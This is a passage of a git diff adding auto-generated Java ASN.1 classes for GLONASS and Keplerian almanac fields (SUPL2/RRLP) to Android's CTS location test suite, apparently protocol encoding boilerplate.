+ gloAlmDeltaTdotAType result = new gloAlmDeltaTdotAType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "gloAlmDeltaTdotAType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class gloAlmEpsilonAType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_gloAlmEpsilonAType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public gloAlmEpsilonAType() {
+ super();
+ setValueRange("0", "32767");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_gloAlmEpsilonAType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_gloAlmEpsilonAType != null) {
+ return ImmutableList.of(TAG_gloAlmEpsilonAType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new gloAlmEpsilonAType from encoded stream.
+ */
+ public static gloAlmEpsilonAType fromPerUnaligned(byte[] encodedBytes) {
+ gloAlmEpsilonAType result = new gloAlmEpsilonAType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new gloAlmEpsilonAType from encoded stream.
+ */
+ public static gloAlmEpsilonAType fromPerAligned(byte[] encodedBytes) {
+ gloAlmEpsilonAType result = new gloAlmEpsilonAType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "gloAlmEpsilonAType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class gloAlmOmegaAType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_gloAlmOmegaAType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public gloAlmOmegaAType() {
+ super();
+ setValueRange("-32768", "32767");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_gloAlmOmegaAType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_gloAlmOmegaAType != null) {
+ return ImmutableList.of(TAG_gloAlmOmegaAType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new gloAlmOmegaAType from encoded stream.
+ */
+ public static gloAlmOmegaAType fromPerUnaligned(byte[] encodedBytes) {
+ gloAlmOmegaAType result = new gloAlmOmegaAType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new gloAlmOmegaAType from encoded stream.
+ */
+ public static gloAlmOmegaAType fromPerAligned(byte[] encodedBytes) {
+ gloAlmOmegaAType result = new gloAlmOmegaAType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "gloAlmOmegaAType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class gloAlmTauAType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_gloAlmTauAType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public gloAlmTauAType() {
+ super();
+ setValueRange("-512", "511");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_gloAlmTauAType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_gloAlmTauAType != null) {
+ return ImmutableList.of(TAG_gloAlmTauAType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new gloAlmTauAType from encoded stream.
+ */
+ public static gloAlmTauAType fromPerUnaligned(byte[] encodedBytes) {
+ gloAlmTauAType result = new gloAlmTauAType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new gloAlmTauAType from encoded stream.
+ */
+ public static gloAlmTauAType fromPerAligned(byte[] encodedBytes) {
+ gloAlmTauAType result = new gloAlmTauAType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "gloAlmTauAType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class gloAlmCAType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_gloAlmCAType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public gloAlmCAType() {
+ super();
+ setValueRange("0", "1");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_gloAlmCAType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_gloAlmCAType != null) {
+ return ImmutableList.of(TAG_gloAlmCAType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new gloAlmCAType from encoded stream.
+ */
+ public static gloAlmCAType fromPerUnaligned(byte[] encodedBytes) {
+ gloAlmCAType result = new gloAlmCAType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new gloAlmCAType from encoded stream.
+ */
+ public static gloAlmCAType fromPerAligned(byte[] encodedBytes) {
+ gloAlmCAType result = new gloAlmCAType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "gloAlmCAType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class gloAlmMAType extends Asn1BitString {
+ //
+
+ private static final Asn1Tag TAG_gloAlmMAType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public gloAlmMAType() {
+ super();
+ setMinSize(2);
+setMaxSize(2);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_gloAlmMAType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_gloAlmMAType != null) {
+ return ImmutableList.of(TAG_gloAlmMAType);
+ } else {
+ return Asn1BitString.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new gloAlmMAType from encoded stream.
+ */
+ public static gloAlmMAType fromPerUnaligned(byte[] encodedBytes) {
+ gloAlmMAType result = new gloAlmMAType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new gloAlmMAType from encoded stream.
+ */
+ public static gloAlmMAType fromPerAligned(byte[] encodedBytes) {
+ gloAlmMAType result = new gloAlmMAType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "gloAlmMAType = " + getValue() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("Almanac_GlonassAlmanacSet = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Almanac_KeplerianSet.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Almanac_KeplerianSet.java
new file mode 100755
index 0000000..55e4b63
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Almanac_KeplerianSet.java
@@ -0,0 +1,1635 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class Almanac_KeplerianSet extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_Almanac_KeplerianSet
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public Almanac_KeplerianSet() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_Almanac_KeplerianSet;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_Almanac_KeplerianSet != null) {
+ return ImmutableList.of(TAG_Almanac_KeplerianSet);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new Almanac_KeplerianSet from encoded stream.
+ */
+ public static Almanac_KeplerianSet fromPerUnaligned(byte[] encodedBytes) {
+ Almanac_KeplerianSet result = new Almanac_KeplerianSet();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new Almanac_KeplerianSet from encoded stream.
+ */
+ public static Almanac_KeplerianSet fromPerAligned(byte[] encodedBytes) {
+ Almanac_KeplerianSet result = new Almanac_KeplerianSet();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private SVID svID_;
+ public SVID getSvID() {
+ return svID_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SVID
+ */
+ public void setSvID(Asn1Object value) {
+ this.svID_ = (SVID) value;
+ }
+ public SVID setSvIDToNewInstance() {
+ svID_ = new SVID();
+ return svID_;
+ }
+
+ private Almanac_KeplerianSet.kepAlmanacEType kepAlmanacE_;
+ public Almanac_KeplerianSet.kepAlmanacEType getKepAlmanacE() {
+ return kepAlmanacE_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Almanac_KeplerianSet.kepAlmanacEType
+ */
+ public void setKepAlmanacE(Asn1Object value) {
+ this.kepAlmanacE_ = (Almanac_KeplerianSet.kepAlmanacEType) value;
+ }
+ public Almanac_KeplerianSet.kepAlmanacEType setKepAlmanacEToNewInstance() {
+ kepAlmanacE_ = new Almanac_KeplerianSet.kepAlmanacEType();
+ return kepAlmanacE_;
+ }
+
+ private Almanac_KeplerianSet.kepAlmanacDeltaIType kepAlmanacDeltaI_;
+ public Almanac_KeplerianSet.kepAlmanacDeltaIType getKepAlmanacDeltaI() {
+ return kepAlmanacDeltaI_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Almanac_KeplerianSet.kepAlmanacDeltaIType
+ */
+ public void setKepAlmanacDeltaI(Asn1Object value) {
+ this.kepAlmanacDeltaI_ = (Almanac_KeplerianSet.kepAlmanacDeltaIType) value;
+ }
+ public Almanac_KeplerianSet.kepAlmanacDeltaIType setKepAlmanacDeltaIToNewInstance() {
+ kepAlmanacDeltaI_ = new Almanac_KeplerianSet.kepAlmanacDeltaIType();
+ return kepAlmanacDeltaI_;
+ }
+
+ private Almanac_KeplerianSet.kepAlmanacOmegaDotType kepAlmanacOmegaDot_;
+ public Almanac_KeplerianSet.kepAlmanacOmegaDotType getKepAlmanacOmegaDot() {
+ return kepAlmanacOmegaDot_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Almanac_KeplerianSet.kepAlmanacOmegaDotType
+ */
+ public void setKepAlmanacOmegaDot(Asn1Object value) {
+ this.kepAlmanacOmegaDot_ = (Almanac_KeplerianSet.kepAlmanacOmegaDotType) value;
+ }
+ public Almanac_KeplerianSet.kepAlmanacOmegaDotType setKepAlmanacOmegaDotToNewInstance() {
+ kepAlmanacOmegaDot_ = new Almanac_KeplerianSet.kepAlmanacOmegaDotType();
+ return kepAlmanacOmegaDot_;
+ }
+
+ private Almanac_KeplerianSet.kepSVHealthType kepSVHealth_;
+ public Almanac_KeplerianSet.kepSVHealthType getKepSVHealth() {
+ return kepSVHealth_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Almanac_KeplerianSet.kepSVHealthType
+ */
+ public void setKepSVHealth(Asn1Object value) {
+ this.kepSVHealth_ = (Almanac_KeplerianSet.kepSVHealthType) value;
+ }
+ public Almanac_KeplerianSet.kepSVHealthType setKepSVHealthToNewInstance() {
+ kepSVHealth_ = new Almanac_KeplerianSet.kepSVHealthType();
+ return kepSVHealth_;
+ }
+
+ private Almanac_KeplerianSet.kepAlmanacAPowerHalfType kepAlmanacAPowerHalf_;
+ public Almanac_KeplerianSet.kepAlmanacAPowerHalfType getKepAlmanacAPowerHalf() {
+ return kepAlmanacAPowerHalf_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Almanac_KeplerianSet.kepAlmanacAPowerHalfType
+ */
+ public void setKepAlmanacAPowerHalf(Asn1Object value) {
+ this.kepAlmanacAPowerHalf_ = (Almanac_KeplerianSet.kepAlmanacAPowerHalfType) value;
+ }
+ public Almanac_KeplerianSet.kepAlmanacAPowerHalfType setKepAlmanacAPowerHalfToNewInstance() {
+ kepAlmanacAPowerHalf_ = new Almanac_KeplerianSet.kepAlmanacAPowerHalfType();
+ return kepAlmanacAPowerHalf_;
+ }
+
+ private Almanac_KeplerianSet.kepAlmanacOmega0Type kepAlmanacOmega0_;
+ public Almanac_KeplerianSet.kepAlmanacOmega0Type getKepAlmanacOmega0() {
+ return kepAlmanacOmega0_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Almanac_KeplerianSet.kepAlmanacOmega0Type
+ */
+ public void setKepAlmanacOmega0(Asn1Object value) {
+ this.kepAlmanacOmega0_ = (Almanac_KeplerianSet.kepAlmanacOmega0Type) value;
+ }
+ public Almanac_KeplerianSet.kepAlmanacOmega0Type setKepAlmanacOmega0ToNewInstance() {
+ kepAlmanacOmega0_ = new Almanac_KeplerianSet.kepAlmanacOmega0Type();
+ return kepAlmanacOmega0_;
+ }
+
+ private Almanac_KeplerianSet.kepAlmanacWType kepAlmanacW_;
+ public Almanac_KeplerianSet.kepAlmanacWType getKepAlmanacW() {
+ return kepAlmanacW_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Almanac_KeplerianSet.kepAlmanacWType
+ */
+ public void setKepAlmanacW(Asn1Object value) {
+ this.kepAlmanacW_ = (Almanac_KeplerianSet.kepAlmanacWType) value;
+ }
+ public Almanac_KeplerianSet.kepAlmanacWType setKepAlmanacWToNewInstance() {
+ kepAlmanacW_ = new Almanac_KeplerianSet.kepAlmanacWType();
+ return kepAlmanacW_;
+ }
+
+ private Almanac_KeplerianSet.kepAlmanacM0Type kepAlmanacM0_;
+ public Almanac_KeplerianSet.kepAlmanacM0Type getKepAlmanacM0() {
+ return kepAlmanacM0_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Almanac_KeplerianSet.kepAlmanacM0Type
+ */
+ public void setKepAlmanacM0(Asn1Object value) {
+ this.kepAlmanacM0_ = (Almanac_KeplerianSet.kepAlmanacM0Type) value;
+ }
+ public Almanac_KeplerianSet.kepAlmanacM0Type setKepAlmanacM0ToNewInstance() {
+ kepAlmanacM0_ = new Almanac_KeplerianSet.kepAlmanacM0Type();
+ return kepAlmanacM0_;
+ }
+
+ private Almanac_KeplerianSet.kepAlmanacAF0Type kepAlmanacAF0_;
+ public Almanac_KeplerianSet.kepAlmanacAF0Type getKepAlmanacAF0() {
+ return kepAlmanacAF0_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Almanac_KeplerianSet.kepAlmanacAF0Type
+ */
+ public void setKepAlmanacAF0(Asn1Object value) {
+ this.kepAlmanacAF0_ = (Almanac_KeplerianSet.kepAlmanacAF0Type) value;
+ }
+ public Almanac_KeplerianSet.kepAlmanacAF0Type setKepAlmanacAF0ToNewInstance() {
+ kepAlmanacAF0_ = new Almanac_KeplerianSet.kepAlmanacAF0Type();
+ return kepAlmanacAF0_;
+ }
+
+ private Almanac_KeplerianSet.kepAlmanacAF1Type kepAlmanacAF1_;
+ public Almanac_KeplerianSet.kepAlmanacAF1Type getKepAlmanacAF1() {
+ return kepAlmanacAF1_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Almanac_KeplerianSet.kepAlmanacAF1Type
+ */
+ public void setKepAlmanacAF1(Asn1Object value) {
+ this.kepAlmanacAF1_ = (Almanac_KeplerianSet.kepAlmanacAF1Type) value;
+ }
+ public Almanac_KeplerianSet.kepAlmanacAF1Type setKepAlmanacAF1ToNewInstance() {
+ kepAlmanacAF1_ = new Almanac_KeplerianSet.kepAlmanacAF1Type();
+ return kepAlmanacAF1_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getSvID() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSvID();
+ }
+
+ @Override public void setToNewInstance() {
+ setSvIDToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SVID.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "svID : "
+ + getSvID().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getKepAlmanacE() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getKepAlmanacE();
+ }
+
+ @Override public void setToNewInstance() {
+ setKepAlmanacEToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Almanac_KeplerianSet.kepAlmanacEType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "kepAlmanacE : "
+ + getKepAlmanacE().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getKepAlmanacDeltaI() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getKepAlmanacDeltaI();
+ }
+
+ @Override public void setToNewInstance() {
+ setKepAlmanacDeltaIToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Almanac_KeplerianSet.kepAlmanacDeltaIType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "kepAlmanacDeltaI : "
+ + getKepAlmanacDeltaI().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getKepAlmanacOmegaDot() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getKepAlmanacOmegaDot();
+ }
+
+ @Override public void setToNewInstance() {
+ setKepAlmanacOmegaDotToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Almanac_KeplerianSet.kepAlmanacOmegaDotType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "kepAlmanacOmegaDot : "
+ + getKepAlmanacOmegaDot().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 4);
+
+ @Override public boolean isExplicitlySet() {
+ return getKepSVHealth() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getKepSVHealth();
+ }
+
+ @Override public void setToNewInstance() {
+ setKepSVHealthToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Almanac_KeplerianSet.kepSVHealthType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "kepSVHealth : "
+ + getKepSVHealth().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 5);
+
+ @Override public boolean isExplicitlySet() {
+ return getKepAlmanacAPowerHalf() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getKepAlmanacAPowerHalf();
+ }
+
+ @Override public void setToNewInstance() {
+ setKepAlmanacAPowerHalfToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Almanac_KeplerianSet.kepAlmanacAPowerHalfType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "kepAlmanacAPowerHalf : "
+ + getKepAlmanacAPowerHalf().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 6);
+
+ @Override public boolean isExplicitlySet() {
+ return getKepAlmanacOmega0() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getKepAlmanacOmega0();
+ }
+
+ @Override public void setToNewInstance() {
+ setKepAlmanacOmega0ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Almanac_KeplerianSet.kepAlmanacOmega0Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "kepAlmanacOmega0 : "
+ + getKepAlmanacOmega0().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 7);
+
+ @Override public boolean isExplicitlySet() {
+ return getKepAlmanacW() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getKepAlmanacW();
+ }
+
+ @Override public void setToNewInstance() {
+ setKepAlmanacWToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Almanac_KeplerianSet.kepAlmanacWType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "kepAlmanacW : "
+ + getKepAlmanacW().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 8);
+
+ @Override public boolean isExplicitlySet() {
+ return getKepAlmanacM0() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getKepAlmanacM0();
+ }
+
+ @Override public void setToNewInstance() {
+ setKepAlmanacM0ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Almanac_KeplerianSet.kepAlmanacM0Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
